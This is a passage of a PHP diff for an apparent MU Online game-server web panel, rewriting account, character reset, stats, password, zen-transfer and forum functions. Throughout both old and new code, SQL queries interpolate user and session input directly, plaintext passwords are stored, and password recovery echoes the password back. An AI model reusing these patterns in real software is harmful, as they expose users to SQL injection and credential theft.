$die_end; - } - if($country <= 0) { - $error= 1; - echo $die_start . mmw_lang_invalid_country . $die_end; - } - if($ip_verify >= $mmw[max_ip_acc] && $mmw[max_ip_acc] != 0) { - $error= 1; - $result_max_ip_acc = str_replace("{NUMBER}",$mmw[max_ip_acc],mmw_lang_max_acc_one_ip); - echo $die_start . $result_max_ip_acc . $die_end; - } - - if($error!=1) { - if($mmw['md5'] == yes) { - mssql_query("INSERT INTO MEMB_INFO (memb___id,memb__pwd,memb_name,sno__numb,mail_addr,appl_days,modi_days,out__days,true_days,mail_chek,bloc_code,ctl1_code,memb__pwd2,fpas_ques,fpas_answ,country,gender,hide_profile,ref_acc,ip) VALUES ('$account',[dbo].[fn_md5]('$password','$account'),'$fullname','1234','$email',GETDATE(),GETDATE(),'2008-12-20','2008-12-20','1','0','0','$password','$squestion','$sanswer','$country','$gender','0','$referral','$ip')"); - } - elseif($mmw['md5'] == no) { - mssql_query("INSERT INTO MEMB_INFO (memb___id,memb__pwd,memb_name,sno__numb,mail_addr,appl_days,modi_days,out__days,true_days,mail_chek,bloc_code,ctl1_code,memb__pwd2,fpas_ques,fpas_answ,country,gender,hide_profile,ref_acc,ip) VALUES ('$account','$password','$fullname','1234','$email',GETDATE(),GETDATE(),'2008-12-20','2008-12-20','1','0','0','$password','$squestion','$sanswer','$country','$gender','0','$referral','$ip')"); - mssql_query("INSERT INTO VI_CURR_INFO (ends_days,chek_code,used_time,memb___id,memb_name,memb_guid,sno__numb,Bill_Section,Bill_value,Bill_Hour,Surplus_Point,Surplus_Minute,Increase_Days) VALUES ('2005','1',1234,'$account','$account',1,'7','6','3','6','6','2003-11-23 10:36:00','0')"); - } - $warehouse_items = '0x'.free_hex($mmw[free_hex],120); - mssql_query("INSERT INTO warehouse (AccountID,Items,EndUseDate,DbVersion,extMoney) VALUES ('$account',$warehouse_items,GETDATE(),'2','$mmw[zen_for_acc]')"); - echo $okey_start . mmw_lang_account_created . $okey_end; - } - } - } - - - - - - -function reset($charactername) { - if((isset($_SESSION['pass'])) && (isset($_SESSION['user']))); { - require("config.php"); - $login = clean_var(stripslashes($_SESSION[user])); - $charactername = stripslashes($charactername); - - $online_check_result = mssql_query("SELECT ConnectStat FROM MEMB_STAT WHERE memb___id='$login'"); - $online_check = mssql_fetch_row($online_check_result); - $wh_result = mssql_query("SELECT AccountID,extMoney FROM warehouse WHERE accountid='$login'"); - $wh_row = mssql_fetch_row($wh_result); if($wh_row[1]=="" || $wh_row[1]==" ") {$wh_row[1]="0";} - - $result = mssql_query("SELECT Clevel,Reset,Money,LevelUpPoint,class FROM Character WHERE Name='$charactername' AND AccountID='$login'"); - $character_check = mssql_num_rows($result); - $row = mssql_fetch_row($result); - - if($row[4] >= 0 && $row[4] <= 15) {$reset_level = $mmw[reset_level_dw]; $reset_points = $mmw[reset_points_dw];} - if($row[4] >= 16 && $row[4] <= 31) {$reset_level = $mmw[reset_level_dk]; $reset_points = $mmw[reset_points_dk];} - if($row[4] >= 32 && $row[4] <= 47) {$reset_level = $mmw[reset_level_elf]; $reset_points = $mmw[reset_points_elf];} - if($row[4] >= 48 && $row[4] <= 63) {$reset_level = $mmw[reset_level_mg]; $reset_points = $mmw[reset_points_mg];} - if($row[4] >= 64 && $row[4] <= 79) {$reset_level = $mmw[reset_level_dl]; $reset_points = $mmw[reset_points_dl];} - if($row[4] >= 80 && $row[4] <= 95) {$reset_level = $mmw[reset_level_sum]; $reset_points = $mmw[reset_points_sum];} - - $reset_up = $row[1] + (1); - $char_money = $row[2]; - //CastleSiege Member % Price - if($mmw[mix_cs_memb_reset]=="yes") { - $guildm_results = mssql_query("Select G_name from GuildMember where name='$charactername'"); - $guildm = mssql_fetch_row($guildm_results); - if($guildm[0]!=NULL || $guildm[0]!=" "){ - $cs_query = mssql_query("SELECT owner_guild,money FROM MuCastle_DATA"); - $cs_row = mssql_fetch_row($cs_query); - if($cs_row[0]==$guildm[0]) { - if($mmw[max_zen_cs_reset]>$cs_row[1]){$edited_zen_cs = $cs_row[1];} else{$edited_zen_cs = $mmw[max_zen_cs_reset];} - $cs_memb_reset_zen = ( substr($mmw['reset_money'], 0, -6) * ceil( substr($edited_zen_cs, 0, -6) / $mmw[num_for_mix_cs_reset] ) ) / 100; - } - } - $edited_res_money = $mmw['reset_money'] - ($cs_memb_reset_zen * 1000000); - } - else {$edited_res_money = $mmw['reset_money'];} - //Reset * Zen - if($mmw[reset_system]=='yes') {$resetmoneysys = $edited_res_money * $reset_up;} - else {$resetmoneysys = $edited_res_money;} - - if($mmw[reset_limit_price] != '0' && $mmw[reset_limit_price] <= $resetmoneysys) {$resetmoneysys = $mmw[reset_limit_price];} - $wh_money = $wh_row[1] - $resetmoneysys; - if($wh_money < 0) {$char_money = $char_money + $wh_money; $wh_money = 0;} - $resetpt = $row[3] + $reset_points; - $resetpt1 = $reset_points * $reset_up; - - //Check Inventory - if($mmw[check_inventory] == 'yes') { - $result = mssql_query("declare @vault varbinary(1728); set @vault=(SELECT Inventory FROM Character WHERE Name='$charactername'); print @vault;"); - $inventory = substr(mssql_get_last_message(),2,$mmw[free_hex] * 12); - $test_invetory = free_hex($mmw[free_hex],12); - } - - - if(empty($charactername) || empty($login)){ $error=1; - echo $die_start . mmw_lang_left_blank . $die_end; - } - if($character_check <= 0) {$error=1; - echo $die_start . $charactername . mmw_lang_character_does_not_exist . $die_end; - } - if($online_check[0] != 0) {$error=1; - echo $die_start . mmw_lang_account_is_online_must_be_logged_off . $die_end; - } - if($char_money < 0) {$error=1; - echo $die_start . mmw_lang_for_reset_need .' '.zen_format($resetmoneysys)." Zen! $die_end"; - } - if($row[0] < $reset_level) {$error=1; - echo $die_start . mmw_lang_for_reset_need ." $reset_level ".mmw_lang_level."! $die_end"; - } - if($row[1] > $mmw['reset_limit_level']) {$error=1; - echo $die_start . mmw_lang_reset_limit_to . " $mmw[reset_limit_level]! $die_end"; - } - if($mmw[check_inventory] == 'yes' && $inventory!=$test_invetory) {$error=1; - echo $die_start . mmw_lang_take_off_set . $die_end; - } - - if($error != 1){ - if($mmw['level_up_mode']=='normal') {$LevelUpPoint = "$resetpt";} else {$LevelUpPoint = "$resetpt1";} - if($mmw['reset_mode']=='reset') {$reset_stats = "[strength]='25',[dexterity]='25',[vitality]='25',[energy]='25',";} - if($mmw['reset_command']=='yes' && $row[4] >= 64 && $row[4] <= 79) {$reset_command = "[Leadership]='25',";} - if($mmw['clean_inventory']=='yes') {$clean_inventory = "[inventory]=0x".free_hex($mmw[free_hex],108).",";} - if($mmw['clean_skills']=='yes') {$clean_skills = "[magiclist]=".free_hex(20,18).",";} - - $sql_reset_script = "UPDATE character Set $clean_inventory $clean_skills $reset_stats $reset_command [clevel]='1',[experience]='0',[money]='$char_money',[LevelUpPoint]='$LevelUpPoint',[reset]='$reset_up' WHERE name='$charactername'"; - mssql_query($sql_reset_script); - mssql_query("UPDATE warehouse SET [extMoney]='$wh_money' WHERE accountid='$login'"); - - echo $okey_start . mmw_lang_character_reseted . $okey_end; - writelog("resets","Character $charactername Has Been Reseted, Before Reset: $row[1](reset), After Reset: $reset_up(reset), For: $resetmoneysys Zen"); - } - } -} - - - - - -function add_stats($name) { - if(isset($_SESSION['pass']) && isset($_SESSION['user'])) { - require("config.php"); - require("includes/validate.class.php"); - $login = stripslashes($_SESSION['user']); - $strength = stripslashes($_POST['str']); - $dexterity = stripslashes($_POST['agi']); - $vitality = stripslashes($_POST['vit']); - $energy = stripslashes($_POST['ene']); - $command = stripslashes($_POST['com']); - - $online_check = mssql_query("SELECT ConnectStat FROM MEMB_STAT WHERE memb___id='$login'"); - $online_check_row = mssql_fetch_row($online_check); - - $result = mssql_query("select vitality,strength,energy,dexterity,levelupPoint,leadership from Character WHERE Name='$name'"); - $row = mssql_fetch_row($result); - - $new_str = $row[1] + $strength; - $new_agi = $row[3] + $dexterity; - $new_vit = $row[0] + $vitality; - $new_eng = $row[2] + $energy; - $new_com = $row[5] + $command; - $points = $row[4] - $vitality - $strength - $energy - $dexterity - $command; - - $nmbr = "/^\d*$/"; - - if(!preg_match($nmbr,$strength) || !preg_match($nmbr,$dexterity) || !preg_match($nmbr,$vitality) || !preg_match($nmbr,$energy) || !preg_match($nmbr,$command)) {$error=1; - echo $die_start . mmw_lang_point_must_be_number . $die_end; - } - if ($online_check_row[0] != 0) {$error = 1; - echo $die_start . mmw_lang_account_is_online_must_be_logged_off . $die_end; - } - if ($points < 0) {$error = 1; - echo $die_start . mmw_lang_dont_have_point ." $row[4]! $die_end"; - } - if($new_str>$mmw[max_stats] || $new_agi>$mmw[max_stats] || $new_vit>$mmw[max_stats] || $new_eng>$mmw[max_stats] || $new_com>$mmw[max_stats]) {$error=1; - echo "$die_start $mmw[max_stats] " . mmw_lang_max_point . $die_end; - } - if($error != 1) { - mssql_query("UPDATE Character SET [Vitality]='$new_vit',[Strength]='$new_str',[Energy]='$new_eng',[Dexterity]='$new_agi',[leadership]='$new_com',[LevelUpPoint]='$points' WHERE Name='$name'"); - echo $okey_start . mmw_lang_character_stats_added . " $points $okey_end"; - writelog("stats","Character $name Has Been Updated Stats with the next -> Strength: $new_str|Agiltiy: $new_agi|Vitality: $new_vit|Energy: $new_eng|Command: $new_command, Levelup Points Left: $points"); - } - } -} - - - - - - - -function clear_pk($name) { - if(isset($_SESSION['pass']) && isset($_SESSION['user'])); { - require("config.php"); - $name = stripslashes($name); - $login = stripslashes($_SESSION['user']); - - $online_check = mssql_query("SELECT ConnectStat FROM MEMB_STAT WHERE memb___id='$login'"); - $online_check_row = mssql_fetch_row($online_check); - - $sql_Pk_check = mssql_query("SELECT PkLevel,PkCount,Money FROM Character WHERE PkLevel > 3 and Name='$name'"); - $PkLevel_check = mssql_num_rows($sql_Pk_check); - $row_Pk = mssql_fetch_row($sql_Pk_check); - - $wh_result = mssql_query("SELECT AccountID,extMoney FROM warehouse WHERE accountid='$login'"); - $wh_row = mssql_fetch_row($wh_result); if($wh_row[1]=="" || $wh_row[1]==" ") {$wh_row[1]="0";} - - $char_money = $row_Pk[2]; - $wh_money = $wh_row[1] - $mmw['pkmoney']; - if($wh_money < 0) {$char_money = $char_money + $wh_money; $wh_money = 0;} - - if (empty($name) || empty($login)) {$error = 1; - echo $die_start . mmw_lang_left_blank . $die_end; - } - if ($online_check_row[0] != 0) {$error = 1; - echo $die_start . mmw_lang_account_is_online_must_be_logged_off . $die_end; - } - if ($PkLevel_check <= 0) {$error = 1; - echo $die_start . mmw_lang_is_not_killer . $die_end; - } - if ($char_money < 0) {$error = 1; - echo $die_start . mmw_lang_clean_pk_need .' '.zen_format($mmw[pkmoney])." Zen! $die_end"; - } - - if($error != 1) { - mssql_query("UPDATE warehouse SET [extMoney]='$wh_money' WHERE accountid='$login'"); - mssql_query("UPDATE Character SET [PkLevel]='3',[PkTime]='0',[Money]='$char_money' where Name='$name'"); - echo $okey_start . mmw_lang_character_cleared . $okey_end; - writelog("clearpk","Character $name Has Been Cleaned His Pk Status"); - } - } -} - - - - - - - -function changepassword() { - if ((isset($_SESSION['pass'])) && (isset($_SESSION['user']))); { - require("config.php"); - require("includes/validate.class.php"); - $login = clean_var(stripslashes($_SESSION['user'])); - $oldpwd = clean_var(stripslashes($_POST['oldpassword'])); - $newpwd = clean_var(stripslashes($_POST['newpassword'])); - $renewpwd = clean_var(stripslashes($_POST['renewpassword'])); - - $online_check = mssql_query("SELECT ConnectStat FROM MEMB_STAT WHERE memb___id='$login'"); - $online_check_row = mssql_fetch_row($online_check); - - if($mmw['md5']==yes) {$sql_pw_check = mssql_query("SELECT * FROM dbo.MEMB_INFO WHERE memb___id='$login' AND memb__pwd = [dbo].[fn_md5]('$oldpwd','$login')");} - elseif($mmw['md5']==no) {$sql_pw_check = mssql_query("SELECT * FROM dbo.MEMB_INFO WHERE memb___id='$login' AND memb__pwd='$oldpwd'");} - $pw_check = mssql_num_rows($sql_pw_check); - - $elems[] = array('name'=>'oldpassword', 'label'=>$die_start. mmw_lang_invalid_current_password .$die_end, 'type'=>'text', 'required'=>true, 'len_min'=>4, 'len_max'=>10, 'cont' =>'alpha'); - $elems[] = array('name'=>'newpassword', 'label'=>$die_start. mmw_lang_invalid_new_password .$die_end, 'type'=>'text', 'required'=>true, 'len_min'=>4, 'len_max'=>10, 'cont' =>'alpha'); - $elems[] = array('name'=>'renewpassword', 'label'=>$die_start. mmw_lang_invalid_repassword .$die_end, 'type'=>'text', 'required'=>true, 'len_min'=>4,'len_max'=>10, 'cont' =>'alpha', 'equal'=> array('newpassword')); - - $f = new FormValidator($elems); - $err = $f->validate($_POST); - - if ( $err === true ) { - $valid = $f->getValidElems(); - foreach ( $valid as $k => $v ) { - if ( $valid[$k][0][1] == false ) { - if ( empty($valid[$k][0][2]) ) { - echo $valid[$k][0][2]; - }else { - echo $valid[$k][0][2]; - } - } - } - } else { - - if ($online_check_row[0] != 0) {$error = 1; - echo $die_start . mmw_lang_account_is_online_must_be_logged_off . $die_end; - } - if ($oldpwd==$newpwd) {$error = 1; - echo $die_start . mmw_lang_old_and_new_password . $die_end; - } - if ($pw_check <= 0) {$error = 1; - echo $die_start . mmw_lang_invalid_current_password . $die_end; - } - if($error!=1){ - if($mmw['md5']==yes){mssql_query("UPDATE MEMB_INFO SET [memb__pwd]=[dbo].[fn_md5]('$newpwd','$login'),[memb__pwd2]='$newpwd' WHERE memb___id ='$login'");} - elseif($mmw['md5']==no){mssql_query("UPDATE MEMB_INFO SET [memb__pwd]='$newpwd',[memb__pwd2]='$newpwd' WHERE memb___id ='$login'");} - - $_SESSION['pass'] = $newpwd; - echo $okey_start . mmw_lang_password_changed . $okey_end; - } - } - } -} - - - - - - - -function lostpassword() { - require("config.php"); - require("includes/validate.class.php"); - $login = clean_var(stripslashes($_POST['username'])); - $quest = clean_var(stripslashes($_POST['quest'])); - $answer = clean_var(stripslashes($_POST['answer'])); - $email = clean_var(stripslashes($_POST['email'])); - - $sql_user_check = mssql_query("SELECT memb___id FROM MEMB_INFO WHERE memb___id='$login'"); - $sql_mail_check = mssql_query("SELECT memb___id,mail_addr FROM MEMB_INFO WHERE memb___id='$login' and mail_addr='$email'"); - $sql_qa_check = mssql_query("SELECT memb___id,fpas_ques,fpas_answ FROM MEMB_INFO WHERE memb___id='$login' and fpas_ques='$quest' and fpas_answ='$answer'"); - - if($mmw['md5'] == yes) {$sql_pw_get = mssql_query("SELECT memb__pwd2,fpas_ques FROM MEMB_INFO WHERE memb___id='$login'");} - elseif($mmw['md5'] == no) {$sql_pw_get = mssql_query("SELECT memb__pwd,fpas_ques FROM MEMB_INFO WHERE memb___id='$login'");} - - $user_check = mssql_num_rows($sql_user_check); - $mail_check = mssql_num_rows($sql_mail_check); - $qa_check = mssql_num_rows($sql_qa_check); - $pw_retrieval = mssql_fetch_row($sql_pw_get); - - $elems[] = array('name'=>'username', 'label'=>$die_start. mmw_lang_invalid_account .$die_end, 'type'=>'text', 'required'=>true, 'len_min'=>4, 'len_max'=>10, 'cont' =>'alpha'); - $elems[] = array('name'=>'email', 'label'=>$die_start. mmw_lang_invalid_email .$die_end, 'type'=>'text', 'required'=>true, 'len_min'=>4, 'len_max'=>50, 'cont' =>'email'); - $elems[] = array('name'=>'quest', 'label'=>$die_start. mmw_lang_invalid_question .$die_end, 'type'=>'text', 'required'=>true, 'len_min'=>4, 'len_max'=>10, 'cont' =>'alpha'); - $elems[] = array('name'=>'answer', 'label'=>$die_start. mmw_lang_invalid_answer .$die_end, 'type'=>'text', 'required'=>true, 'len_min'=>4, 'len_max'=>10, 'cont' =>'alpha'); - - $f = new FormValidator($elems); - $err = $f->validate($_POST); - if ( $err === true ) { - $valid = $f->getValidElems(); - foreach ( $valid as $k => $v ) { - if ( $valid[$k][0][1] == false ) { - if ( empty($valid[$k][0][2]) ) { - echo $valid[$k][0][2]; - }else { - echo $valid[$k][0][2]; - } - } - } - } else { - - if($user_check <= 0 || $mail_check <= 0) {$error = 1; - echo $die_start . mmw_lang_account_or_email_address_is_incorrect . $die_end; - } - if($qa_check <= 0) {$error = 1; - echo $die_start . mmw_lang_question_or_answer_incorrect . $die_end; - } - if($error != 1) { - echo $okey_start . mmw_lang_your_password . " $pw_retrieval[0] $okey_end"; - } - } -} - - - - - -function profile($account) { - require("config.php"); - $fullname = clean_var(stripslashes($_POST['fullname'])); - $age = clean_var(stripslashes($_POST['age'])); - $country = clean_var(stripslashes($_POST['country'])); - $avatar = clean_var(stripslashes($_POST['avatar'])); - $gender = clean_var(stripslashes($_POST['gender'])); - $hide_profile = clean_var(stripslashes($_POST['hide_profile'])); - $y = clean_var(stripslashes($_POST['y'])); - $msn = clean_var(stripslashes($_POST['msn'])); - $icq = clean_var(stripslashes($_POST['icq'])); - $skype = clean_var(stripslashes($_POST['skype'])); - - mssql_query("Update memb_info set [memb_name]='$fullname',[country]='$country',[gender]='$gender',[age]='$age',[avatar]='$avatar',[hide_profile]='$hide_profile',[y]='$y',[msn]='$msn',[icq]='$icq',[skype]='$skype' where memb___id='$account'"); - echo $okey_start . mmw_lang_profile_edited . $okey_end; - writelog("profile","Acc $account Has Been Change: [memb_name]='$fullname',[country]='$country',[gender]='$gender',[age]='$age',[avatar]='$avatar',[hide_profile]='$hide_profile',[y]='$y',[msn]='$msn',[icq]='$icq',[skype]='$skype'"); -} - - - - - -function move($name) { - include("includes/move.php"); - require("config.php"); - $login = clean_var(stripslashes($_SESSION['user'])); - $map = clean_var(stripslashes($_POST['map'])); - $name = stripslashes($name); - $mapnumber = $move[$map][0]; - $x = $move[$map][1]; - $y = $move[$map][2]; - - $select_zen_sql = mssql_query("Select money from character where name='$name'"); - $select_zen = mssql_fetch_row($select_zen_sql); - - $wh_result = mssql_query("SELECT AccountID,extMoney FROM warehouse WHERE accountid='$login'"); - $wh_row = mssql_fetch_row($wh_result); if(empty($wh_row[1]) || $wh_row[1]==" ") {$wh_row[1]="0";} - - $char_money = $select_zen[0]; - $wh_money = $wh_row[1] - $mmw['move_zen']; - if($wh_money < 0) {$char_money = $char_money + $wh_money; $wh_money = 0;} - - if(empty($name)) { - echo $die_start . mmw_lang_left_blank . $die_end; + 'dw', + 1 => 'dk', + 2 => 'fe', + 3 => 'mg', + 4 => 'dl', + 5 => 'sm', + 6 => 'rf' + ); + + $simpleClass = intval($classNumber / 16); + + if (!isset($simpleClasses[$simpleClass])) { + throw new RuntimeException('Character class not defined'); } - elseif($char_money < 0) { - echo $die_start . mmw_lang_move_need .' '.zen_format($mmw[move_zen])." Zen! $die_end"; - } - else { - mssql_query("UPDATE warehouse SET [extMoney]='$wh_money' WHERE accountid='$login'"); - mssql_query("UPDATE character SET [mapnumber]='$mapnumber',[mapposx]='$x',[mapposy]='$y',[money]='$char_money' where name='$name'"); - echo $okey_start . mmw_lang_character_moved . $okey_end; - writelog("move","Char $name Has Been Moved To: $mapnumber, $x-$y|Char: $char_money Zen|Acc: $wh_money Zen"); - } -} - - - - - - -function change_class($name) { - require("config.php"); - include("includes/change_class.php"); - $login = clean_var(stripslashes($_SESSION['user'])); - $change_class = clean_var(stripslashes($_POST['class'])); - $name = stripslashes($name); - $class = $class_list[$change_class][0]; - $price = $class_list[$change_class][1]; - - $result = mssql_query("declare @vault varbinary(1728); set @vault=(SELECT Inventory FROM Character WHERE Name='$name'); print @vault;"); - $inventory = substr(mssql_get_last_message(),2,$mmw[free_hex] * 12); - $test_invetory = free_hex($mmw[free_hex],12); - - $select_zen_sql = mssql_query("Select money from character where name='$name'"); - $select_zen = mssql_fetch_row($select_zen_sql); - - $wh_result = mssql_query("SELECT AccountID,extMoney FROM warehouse WHERE accountid='$login'"); - $wh_row = mssql_fetch_row($wh_result); if(empty($wh_row[1]) || $wh_row[1]==" ") {$wh_row[1]="0";} + return $simpleClasses[$simpleClass]; + } - $char_money = $select_zen[0]; - $wh_money = $wh_row[1] - $price; - if($wh_money < 0) {$char_money = $char_money + $wh_money; $wh_money = 0;} + /** + * @return int + * @throws Exception + */ + static function getAccountExtraMoney() + { + $warehouseResult = mssql_query("SELECT extMoney FROM dbo.warehouse WHERE AccountID='{$_SESSION['user']}'"); + $warehouseRow = mssql_fetch_row($warehouseResult); + return !empty($warehouseRow[0]) + ? $warehouseRow[0] + : 0; + } - if(empty($name) || $change_class=='class') { - echo $die_start . mmw_lang_left_blank . $die_end; - } - elseif($inventory != $test_invetory) { - echo $die_start . mmw_lang_take_off_set . $die_end; + static function reset($characterName) + { + global $mmw, $okey_start, $okey_end, $die_start, $die_end; + + $characterResult = mssql_query("SELECT Money,class,LevelUpPoint,Clevel,{$mmw['reset_column']},CAST(Inventory AS varbinary(1728)) FROM dbo.Character WHERE Name='{$characterName}'"); + $characterInfo = mssql_fetch_row($characterResult); + $characterInventory = strtoupper(substr(bin2hex($characterInfo[5]), 2, $mmw['item_byte_size'] * 12)); + $characterMoney = $characterInfo[0]; + $warehouseMoney = self::getAccountExtraMoney(); + $totalMoney = $characterMoney + $warehouseMoney; + + $simpleClass = self::characterClassToSimpleClass($characterInfo[1]); + $resetLevel = $mmw['reset_level'][$simpleClass]; + $resetPoints = $mmw['reset_points'][$simpleClass]; + $resetUp = $characterInfo[4] + 1; + $resetPrice = $mmw['reset_money']; + + if ($mmw['reset_money_system']) { + $resetPrice *= $resetUp; } - elseif($char_money < 0) { - echo $die_start . mmw_lang_change_class_need .' '.zen_format($price)." Zen! $die_end"; + if (!empty($mmw['reset_limit_price']) && $mmw['reset_limit_price'] < $resetPrice) { + $resetPrice = $mmw['reset_limit_price']; } - else { - mssql_query("UPDATE warehouse SET [extMoney]='$wh_money' WHERE accountid='$login'"); - mssql_query("UPDATE character SET [class]='$class',[money]='$char_money',[MagicList]=0xFF,[Quest]=0xFF WHERE name='$name'"); - echo $okey_start . mmw_lang_character_changed . $okey_end; - writelog("change_class","Char $name Has Been Changed Class To: $class|Char: $char_money Zen|Acc: $wh_money Zen"); - } -} - - - - - -function warehouse($from,$to,$zen) { - require("config.php"); - require("includes/validate.class.php"); - $login = clean_var(stripslashes($_SESSION['user'])); - $from = stripslashes($from); - $to = stripslashes($to); - $zen = stripslashes($zen); - - // From - if($from=="ewh" || $from=="wh0") { - $result = mssql_query("SELECT AccountID,Money,extMoney FROM warehouse WHERE accountid='$login'"); - $row_from = mssql_fetch_row($result); - if($from=="wh0") { - if($row_from[1]==""){$from_wh="0";} else{$from_wh=$row_from[1];} - $from_query[0]="Update warehouse set [Money]='"; $from_query[1]="' where AccountID='$login'"; - } - if($from=="ewh") { - if($row_from[2]==""){$from_wh="0";} else{$from_wh=$row_from[2];} - $from_query[0]="Update warehouse set [extMoney]='"; $from_query[1]="' where AccountID='$login'"; + if ($mmw['cs_memb_reset_discount']) { + $guild_result = mssql_query("SELECT G_Name FROM dbo.GuildMember WHERE Name='{$_SESSION['character']}'"); + $guild_row = mssql_fetch_row($guild_result); + $castle_siege_result = mssql_query("SELECT OWNER_GUILD,MONEY FROM dbo.MuCastle_DATA"); + $castle_siege_row = mssql_fetch_row($castle_siege_result); + if (!empty($guild_row[0]) && $castle_siege_row[0] === $guild_row[0]) { + $castleSiegeResetPercent = ($mmw['cs_memb_reset_must_have_zen'] > $castle_siege_row[1]) + ? ceil($castle_siege_row[1] * $mmw['cs_memb_reset_max_percent'] / $mmw['cs_memb_reset_must_have_zen']) + : $mmw['cs_memb_reset_max_percent']; + + $resetPrice -= ceil($resetPrice * $castleSiegeResetPercent / 100); } } - elseif(substr($from,0,2)=="ch") { - $result = mssql_query("SELECT AccountID,Money,Name FROM Character WHERE accountid='$login' AND Name='".substr($from,2)."'"); - $row_from = mssql_fetch_row($result); - if($row_from[1]=="") {$from_wh="0";} else{$from_wh=$row_from[1];} - $from_query[0]="Update Character set [Money]='"; $from_query[1]="' where AccountID='$login' AND Name='$row_from[2]'"; + + $warehouseMoney -= $resetPrice; + if ($warehouseMoney < 0) { + $characterMoney += $warehouseMoney; + $warehouseMoney = 0; } - // To - if($to=="ewh" || $to=="wh0") { - $result = mssql_query("SELECT AccountID,Money,extMoney FROM warehouse WHERE accountid='$login'"); - $row_to = mssql_fetch_row($result); - if($to=="wh0") { - if($row_to[1]=="") {$to_wh="0";} else{$to_wh=$row_to[1];} - $to_query[0]="Update warehouse set [Money]='"; $to_query[1]="' where AccountID='$login'"; + if ($totalMoney - $resetPrice < 0) { + echo $die_start . mmw_lang_for_reset_need . ' ' . zen_format($resetPrice) . ' Zen!' . $die_end; + } elseif ($characterInfo[3] < $resetLevel) { + echo $die_start . mmw_lang_for_reset_need . ' '.$resetLevel.' ' . mmw_lang_level . '!' . $die_end; + } elseif ($resetUp >= $mmw['reset_limit_level']) { + echo $die_start . mmw_lang_reset_limit_to . ' ' . $mmw['reset_limit_level'] . '!' . $die_end; + } elseif ($mmw['reset_check_inventory'] && $characterInventory !== free_hex($mmw['item_byte_size'], 12)) { + echo $die_start . mmw_lang_take_off_set . $die_end; + } else { + $levelUpPoint = ($mmw['reset_points_mode']) + ? $resetPoints * $resetUp + : $resetPoints + $characterInfo[2]; + + $additionalUpdates = ''; + if ($mmw['reset_points_drop']) { + $additionalUpdates .= ",[strength]=25,[dexterity]=25,[vitality]=25,[energy]=25"; } - if($to=="ewh") { - if($row_to[2]=="") {$to_wh="0";} else{$to_wh=$row_to[2];} - $to_query[0]="Update warehouse set [extMoney]='"; $to_query[1]="' where AccountID='$login'"; + if ($mmw['reset_command_drop'] && $simpleClass === 'dl') { + $additionalUpdates .= ",[Leadership]=25"; + } + if ($mmw['reset_clean_inventory']) { + $additionalUpdates .= ",[inventory]=0x" . free_hex($mmw['item_byte_size'], 108); + } + if ($mmw['reset_clean_skills']) { + $additionalUpdates .= ",[magiclist]=0x" . free_hex(20, 18); } - } - elseif(substr($to,0,2)=="ch") { - $result = mssql_query("SELECT AccountID,Money,Name FROM character WHERE accountid='$login' AND Name='".substr($to,2)."'"); - $row_to = mssql_fetch_row($result); - if($row_to[1]=="") {$to_wh="0";} else{$to_wh=$row_to[1];} - $to_query[0]="Update Character set [Money]='"; $to_query[1]="' where AccountID='$login' AND Name='$row_to[2]'"; - } - - $from_end = $from_wh - $zen; $to_end = $to_wh + $zen; - - if(!isset($from_wh) || !isset($to_wh) || !isset($zen)){$error=1; echo $die_start . mmw_lang_left_blank . $die_end;} - elseif(!preg_match("/^\d*$/", $zen)){$error=1; echo $die_start . mmw_lang_zen_must_be_number . $die_end;} - elseif($from == $to){$error=1; echo $die_start . mmw_lang_zen_cant_move . $die_end;} - elseif($from_end < 0){$error=1; echo $die_start . mmw_lang_not_Zen_to_move . $die_end;} - elseif($to!="ewh" && $to_end > $mmw[max_char_wh_zen]){$error=1; echo $die_start . mmw_lang_zen_more_max . ' '.zen_format($mmw[max_char_wh_zen]).' Zen!' . $die_end;} - - if($error!=1){ - mssql_query($from_query[0].$from_end.$from_query[1]); - mssql_query($to_query[0].$to_end.$to_query[1]); - echo $okey_start . zen_format($zen).' '. mmw_lang_zen_moved . $okey_end; - writelog("money","Acc $login Has Been from: $from_wh $from|to: $to_wh $to|how many: $zen|from end: $from_end|to end: $to_end"); - } -} - - - - - - - -function comment_send($c_id_blog,$c_id_code) { - require("config.php"); - $c_char = clean_var(stripslashes($_SESSION['char_set'])); - $result = mssql_query("SELECT TOP 1 c_date FROM MMW_comment WHERE c_char='$c_char' ORDER BY c_date DESC"); - $losttime = mssql_fetch_row($result); - $timeout = $losttime[0] + $mmw[comment_time_out]; - $date = time(); - $needtime = $timeout - $date; - - if($timeout>$date) {echo $die_start . mmw_lang_cant_sent_comment_need_wait . " $needtime sec. $die_end";} - elseif(empty($c_char)) {echo $die_start . mmw_lang_cant_add_no_char . $die_end;} - elseif(!empty($_POST['c_message'])) { - $bug_send = bugsend(stripslashes($_POST['c_message'])); - mssql_query("INSERT INTO MMW_comment(c_id_blog,c_id_code,c_char,c_text,c_date) VALUES ('$c_id_blog','$c_id_code','$c_char','$bug_send','$date')"); - echo $okey_start . mmw_lang_comment_sent . $okey_end; - } -} - - - - - - - -function comment_delete($c_id) { - require("config.php"); - $c_id = clean_var(stripslashes($c_id)); - $char_set = stripslashes($_SESSION['char_set']); - $result = mssql_query("SELECT c_char FROM MMW_comment WHERE c_id='$c_id'"); - $row = mssql_fetch_row($result); - - if(empty($c_id)) { - echo "$die_start Error: Some Fields Were Left Blank! $die_end"; - } - elseif($row[0]==$char_set || $mmw[status_rules][$_SESSION[mmw_status]][comment_delete]==1) { - mssql_query("Delete from MMW_comment where c_id='$c_id'"); - echo $okey_start . mmw_lang_comment_deleted . $okey_end; - } - else { - echo $die_start . mmw_lang_cant_or_alread_delete . $die_end; - } -} - - - - - - - -function forum_send($title,$text,$catalog) { - require("config.php"); - $char_set = stripslashes($_SESSION['char_set']); - $date = time(); - - if(empty($title) || empty($text) || empty($catalog)) { - echo $die_start . mmw_lang_left_blank . $die_end; - } - elseif(!empty($title) && !empty($text) && !empty($catalog)) { - $text = bugsend(stripslashes($text)); - $title = bugsend(stripslashes($title)); - $catalog = bugsend(stripslashes($catalog)); - mssql_query("INSERT INTO MMW_forum ([f_id],[f_char],[f_title],[f_text],[f_created],[f_catalog],[f_date],[f_lastchar]) VALUES ('$mmw[rand_id]','$char_set','$title','$text','$date','$catalog','$date','$char_set')"); - echo $okey_start . mmw_lang_topic_sent . $okey_end; - } - else { - echo "$die_start Total ErroR! $die_end"; - } - } - - - - - - - -function forum_delete($f_id) { - require("config.php"); - $f_id = clean_var(stripslashes($f_id)); - $char_set = stripslashes($_SESSION['char_set']); - $result = mssql_query("SELECT f_char FROM MMW_forum WHERE f_id='$f_id'"); - $row = mssql_fetch_row($result); - - if(empty($f_id)) { - echo $die_start . mmw_lang_left_blank . $die_end; - } - elseif($row[0]==$char_set || 